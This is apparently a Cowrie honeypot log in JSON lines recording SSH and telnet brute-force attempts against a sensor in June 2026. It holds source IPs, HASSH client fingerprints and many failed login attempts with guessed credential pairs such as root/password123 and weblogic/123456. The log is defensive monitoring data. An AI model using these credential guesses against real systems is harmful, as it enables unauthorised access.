{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:41.000732Z","src_ip":"141.11.88.14","session":"1faf679b4fbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web","password":"web123","message":"login attempt [web/web123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:41.657589Z","src_ip":"141.11.88.14","session":"1faf679b4fbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:42.741945Z","src_ip":"141.11.88.14","session":"1faf679b4fbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":36728,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd39ee7d987e","protocol":"ssh","message":"New connection: 141.11.88.14:36728 (10.17.0.5:22) [session: dd39ee7d987e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:47.518743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:48.132368Z","src_ip":"141.11.88.14","session":"dd39ee7d987e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:48.164129Z","src_ip":"141.11.88.14","session":"dd39ee7d987e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password123","message":"login attempt [root/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:49.259734Z","src_ip":"141.11.88.14","session":"dd39ee7d987e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:50.426322Z","src_ip":"141.11.88.14","session":"dd39ee7d987e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.17558145523071,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:54.636433Z","src_ip":"172.81.62.90","session":"9134c23212d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":56618,"dst_ip":"159.203.135.109","dst_port":22,"session":"476a2f0a5a62","protocol":"ssh","message":"New connection: 27.71.230.31:56618 (159.203.135.109:22) [session: 476a2f0a5a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:55.152875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:55.239743Z","src_ip":"27.71.230.31","session":"476a2f0a5a62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:55.603684Z","src_ip":"27.71.230.31","session":"476a2f0a5a62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":36798,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4d42e2776b2","protocol":"ssh","message":"New connection: 141.11.88.14:36798 (10.17.0.5:22) [session: a4d42e2776b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:56.209003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:56.509355Z","src_ip":"141.11.88.14","session":"a4d42e2776b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:56.513144Z","src_ip":"141.11.88.14","session":"a4d42e2776b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:57.307446Z","src_ip":"141.11.88.14","session":"a4d42e2776b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1@#$%^&","message":"login attempt [root/Password1@#$%^&] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:57.462791Z","src_ip":"27.71.230.31","session":"476a2f0a5a62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:58.588451Z","src_ip":"141.11.88.14","session":"a4d42e2776b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:58.873430Z","src_ip":"27.71.230.31","session":"476a2f0a5a62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.48712396621704,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:59.265266Z","src_ip":"172.81.62.90","session":"76e5f85c678d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":31038,"dst_ip":"10.17.0.5","dst_port":22,"session":"6faf7642c1ff","protocol":"ssh","message":"New connection: 141.11.88.14:31038 (10.17.0.5:22) [session: 6faf7642c1ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:04.208961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:04.308307Z","src_ip":"141.11.88.14","session":"6faf7642c1ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:04.760182Z","src_ip":"141.11.88.14","session":"6faf7642c1ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"1234","message":"login attempt [rocky/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:05.824318Z","src_ip":"141.11.88.14","session":"6faf7642c1ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:06.999099Z","src_ip":"141.11.88.14","session":"6faf7642c1ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":41114,"dst_ip":"159.203.135.109","dst_port":22,"session":"3562e091cd2d","protocol":"ssh","message":"New connection: 161.132.50.236:41114 (159.203.135.109:22) [session: 3562e091cd2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:09.434582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:09.439188Z","src_ip":"161.132.50.236","session":"3562e091cd2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:09.531830Z","src_ip":"161.132.50.236","session":"3562e091cd2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"barbara","password":"barbara123","message":"login attempt [barbara/barbara123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:09.925407Z","src_ip":"161.132.50.236","session":"3562e091cd2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.768606662750244,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:10.703710Z","src_ip":"172.81.62.90","session":"788617e66d44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:11.017941Z","src_ip":"161.132.50.236","session":"3562e091cd2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":49502,"dst_ip":"10.17.0.5","dst_port":22,"session":"37cd6abbb88a","protocol":"ssh","message":"New connection: 141.11.88.14:49502 (10.17.0.5:22) [session: 37cd6abbb88a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:12.065683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:12.075280Z","src_ip":"141.11.88.14","session":"37cd6abbb88a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:12.158978Z","src_ip":"141.11.88.14","session":"37cd6abbb88a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"123456","message":"login attempt [weblogic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:12.418674Z","src_ip":"141.11.88.14","session":"37cd6abbb88a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:13.503096Z","src_ip":"141.11.88.14","session":"37cd6abbb88a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.764307737350464,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:13.702180Z","src_ip":"128.199.8.54","session":"b645c8ec9fa7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":37674,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d81934185a1","protocol":"ssh","message":"New connection: 87.251.79.125:37674 (159.203.135.109:22) [session: 5d81934185a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:16.557138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:16.565234Z","src_ip":"87.251.79.125","session":"5d81934185a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:16.633080Z","src_ip":"87.251.79.125","session":"5d81934185a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"17081993","message":"login attempt [root/17081993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:16.843812Z","src_ip":"87.251.79.125","session":"5d81934185a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:17.917871Z","src_ip":"87.251.79.125","session":"5d81934185a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62028,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ca0e94c07c5","protocol":"ssh","message":"New connection: 141.11.88.14:62028 (10.17.0.5:22) [session: 9ca0e94c07c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:18.773538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:09:18.872506Z","src_ip":"141.11.88.14","session":"9ca0e94c07c5","protocol":"ssh"}
